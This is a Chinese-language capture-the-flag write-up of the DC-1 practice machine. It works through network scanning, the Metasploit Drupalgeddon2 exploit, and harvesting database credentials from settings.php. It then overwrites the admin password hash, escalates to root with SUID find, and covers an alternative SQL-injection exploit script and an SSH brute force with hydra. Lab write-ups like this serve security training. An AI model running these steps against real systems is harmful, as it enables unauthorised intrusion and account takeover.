一.环境搭建
下载地址
http://www.five86.com/downloads/DC-1.zip
把桥接设置为nat模式,打开靶机的时候会提示几个错误,点击重试即可
启动靶机,如下图所示即可
二.开始打靶
1.信息收集
arp-scan -l
扫描跟kali(攻击机) 同一网段开了哪些ip,也就是发现靶机ip
我的攻击机ip为192.168.111.128,靶机ip为192.168.111.129
用nmap扫一下靶机开放的端口
nmap 192.168.111.129 -p1-65535
开放了22/80/111/60677
我们先访问一下80端口,看一下是什么
也可以用以下工具得知是drupal cms
whatweb -v 192.168.111.129
根据以上操作,我们可以搜集到如下信息
端口号22/80/111/60677
drupal cms 7
PHP 5.4.45
Apache 2.2.22
Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers
一搜发现这么多漏洞,进msf搜一下drupal,直接百度也行,一般这种nday都有大佬发教程
2.漏洞探测与利用
打开msf,搜索drupal
msfconsolesearch drupal
选择exploit/unix/webapp/drupal_drupalgeddon2
use exploit/unix/webapp/drupal_drupalgeddon2
查看需要配置的内容
show options
Current Setting是目前设置的内容
Required表示是否需要设置内容,yes为必须设置,no可以设置也可不设置
就上面来说RHOSTS需要set
set rhosts 192.168.111.129
run
进行运行
3.getshell
得到shell,输入shell
shell
弄一个交互式的shell,用python起一个(必须靶机安装了python环境才行)
python -c 'import pty; pty.spawn("/bin/bash")'
查看flag1.txt,发现提示,每个好的cms都需要一个配置文件,你也一样
4.数据库渗透
开始找配置文件
cat `find / -name settings.php`
我们获取到了他的数据库账号密码和flag2
* Brute force and dictionary attacks aren't the
* only ways to gain access (and you WILL need access).
* What can you do with these credentials?
暴力破解和目录攻击不是唯一获取权限的方法(你需要权限),你能用这些凭证做些什么呢
使用配置文件中的数据库账号密码进行登录
查看有哪些库
show databases;
使用drupaldb库并且查看表
use drupaldb;show tables;
下面有一个users表,进入这个表进行查看
select * from users;
select * from users\G;
也可以使用下面这条命令,/G 的作用是将查到的结构旋转90度变成纵向(我没试)
获得两个用户
admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR |
Fred | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg |
看这么复杂,而且在配置文件中找到slat也很长,撞库基本上不可能实现,所以用替换密码的方式获得用户登录权限,将一个已知的密码通过cms的算法加密后生成的hash,替换掉已存在用户的密码hash,就算是修改密码了
忘记Drupal的管理员密码的解决办法
方法一:可以新注册一个用户,密码记住了,然后通过phpmyadmin这样的可视化mysql管理工具到users表里把加密后的密码拷到admin的密码里。
方法二:这是drupal提供的最原生的方法
在windows下,打开命令行客户端(cmd),切换到Drupal7项目所在的目录,敲入以下命令:
php scripts/password-hash.sh admin
输出:
password: admin hash: $S$DMtruNEVmqWoqhlPwTlnFzwyBRFgQwXUfppe9pW1RqqXlMy97tzA
然后到数据库中,查users表,找到对应的用户名,修改密码,将上述的hash值复制到密码字段,保存即可。
durpal的加密脚本存在此地址
/var/www/scripts/password-hash.sh
先退出mysql界面
exit;
打开加密脚本,查看里面的内容
cat /var/www/scripts/password-hash.sh
脚本是php代码,要求我们输入一个密码,它会返回一个加密后的hash
用php运行这个脚本,输出123456的hash
php /var/www/scripts/password-hash.sh 123456
password: 123456 hash: $S$D6lKdUrtIIj7LMx0NlWfLPBXhPSQU4VoKdw84FPYSR84FLj9XgRu
登录到mysql后,将这个hash替换到admin账户的密码
mysql -udbuser -pR0ck3tuse drupaldb;update users set pass = "$S$D6lKdUrtIIj7LMx0NlWfLPBXhPSQU4VoKdw84FPYSR84FLj9XgRu" where name = 'admin' or name = 'Fred';
进入界面,输入账号密码admin/123456
点击这个content,会有一个flag3
点击这个flag3,会给你提示
特殊权限会帮助你找到密码,但是你需要-exec(执行)命令去确定如何获得这个shadow(菜鸡翻译,敬请见谅)
根据提示,我们输出一下passwd的内容
cat /etc/passwd
我们可以看到有一个flag4在这
切换到flag4的/home/flag4目录 ,查看有什么文件
cd /home/flag4
ls
你能用同样的方法去找到或者访问在root的flag吗
大概。 但是也许这并不容易。 也许是?
5.提权
现在要开始提升权限了
利用suid提权,查看默认以root权限执行的程序
find / -perm -u=s -type f 2>/dev/null
看到有find,直接用find提权
find / -exec "/bin/bash" -p \;
cd /root
ls
获取到root权限后,直接cd 到/root目录,看到最终的flag
cat thefinalflag.txt
这个靶机还是非常简单的,按照其他大佬的wp打下来十分顺畅
三.其他方法
为什么这么写,是因为我想有个流畅的打靶体验,先通关再说
1.在数据库渗透的过程中,通过sql注入漏洞创建用户
drupal7版本在有个SQL注入的漏洞,可以添加一个admin权限的用户,适用版本7.31以下,我们可以在msf找一下这个工具
searchsploit drupal
searchsploit 34992.py -p
python2 /usr/share/exploitdb/exploits/php/webapps/34992.py
这个软件给出了usage,可以进行尝试
python2 /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.111.129 -u test -p 123456
进入界面用test/123456进行登录,登录成功
2.在查看flag4的时候可以不用提权,爆破flag4用户的ssh密码
hydra -l flag4 -P /usr/share/wordlists/rockyou.txt ssh://192.168.111.129
爆破到flag4的ssh密码为orange,进行连接,查看文件